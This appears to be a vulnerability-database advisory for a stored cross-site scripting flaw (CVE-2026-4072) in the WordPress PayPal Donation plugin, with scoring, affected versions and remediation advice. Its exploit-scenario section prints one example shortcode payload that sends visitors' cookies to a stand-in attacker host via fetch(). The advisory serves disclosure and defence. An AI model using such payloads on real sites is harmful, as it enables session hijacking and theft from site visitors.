Skip to main content

Wordpress Paypal Donation EUVDEUVD-2026-14177

| CVE-2026-4072 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-21 Wordfence GHSA-jxp3-mpj8-9vw7
6.4
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS 3.1 vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates network-accessible exploitation with low complexity requiring low privileges (Contributor role) and no user interaction, with scope change and limited confidentiality and integrity impacts. The attack requires authenticated access, which reduces opportunistic exploitation but increases insider threat risk. The vulnerability is confirmed via source code analysis from the official WordPress plugin repository (Wordfence intelligence source), indicating high reliability of the technical details. The lack of denial-of-service capability (A:N) limits severity compared to other XSS flaws. Real-world risk is elevated because the plugin targets WordPress websites handling financial donations, making compromised pages attractive attack vectors for credential harvesting or malware distribution. The stored nature of the XSS means persistent compromise of any page using the vulnerable shortcode until remediated.

Exploit ScenarioDerived

A malicious Contributor user (such as a compromised or disgruntled staff account) edits a page containing the PayPal donation shortcode and modifies the 'amount' parameter to include malicious JavaScript, for example: [paypal_donation amount='100' onclick='fetch("https://attacker.com/steal?c="+document.cookie)'], or injects a script tag within a single-quoted attribute context. When legitimate visitors access the page to make a donation, the injected JavaScript executes in their browser context with the same privileges as the website, allowing credential theft, session hijacking, or redirect to phishing pages. Since this is a stored XSS, the attack persists indefinitely until the page is corrected, compromising all subsequent visitors.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 21, 2026

A Stored Cross-Site Scripting (XSS) vulnerability exists in the WordPress PayPal Donation plugin (all versions up to and including 1.01) due to insufficient input sanitization and output escaping in shortcode attribute handling. Authenticated attackers with Contributor-level access or above can inject arbitrary JavaScript code through malicious shortcode attributes that will execute for all users viewing the affected pages. With a CVSS score of 6.4 and confirmed vulnerability details available through Wordfence and WordPress plugin repository source code analysis, this represents a moderate but practical risk to WordPress installations using this plugin.

RemediationAI

The primary remediation is to update the WordPress PayPal Donation plugin to a patched version once available from the plugin developer. Users should check the WordPress plugin repository for an updated release that properly escapes shortcode attributes using WordPress-standard functions like esc_attr() and esc_url(). Until a patch is released, site administrators should either disable the plugin entirely or restrict the creation and editing of pages containing PayPal Donation shortcodes to trusted administrators only by limiting Contributor role capabilities through role management plugins. Additionally, implement Web Application Firewall (WAF) rules to detect and block script injection attempts in shortcode parameters, and monitor the WordPress plugin repository and Wordfence for patch notifications at https://www.wordfence.com/threat-intel/vulnerabilities/id/99a8b48b-2967-4179-a0eb-626bbe273f03.

Affected VersionsENISA

WordPress PayPal Donation * ≤1.01

Affected Packages

euvd wordpress_paypal_donation no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from improper handling of shortcode attributes in the wordpress_paypal_donation_create() function, which violates CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerable code uses extract(shortcode_atts(...)) to process user-supplied shortcode parameters including 'amount', 'email', 'title', 'return_url', 'cancel_url', 'ccode', and 'image', then directly interpolates these values into HTML single-quoted attribute values without applying WordPress escaping functions such as esc_attr() or esc_url(). This allows attackers to break out of attribute context and inject arbitrary HTML and JavaScript. The affected product is the WordPress PayPal Donation plugin by tstachl, identified via CPE cpe:2.3:a:tstachl:wordpress_paypal_donation:*:*:*:*:*:*:*:*, which is distributed through the official WordPress plugin repository.

Know when Wordpress Paypal Donation gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The WordPress PayPal Donation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'donate' shortcode in all versions up to, and including, 1.01. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes such as 'amount', 'email', 'title', 'return_url', 'cancel_url', 'ccode', and 'image'. The wordpress_paypal_donation_create() function uses extract(shortcode_atts(...)) to process shortcode attributes and then directly interpolates these values into HTML output within single-quoted attribute values without any escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Executive ViewAI

Why It Matters

Organizations using all should be aware of moderate risk from CVE-2026-4072, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy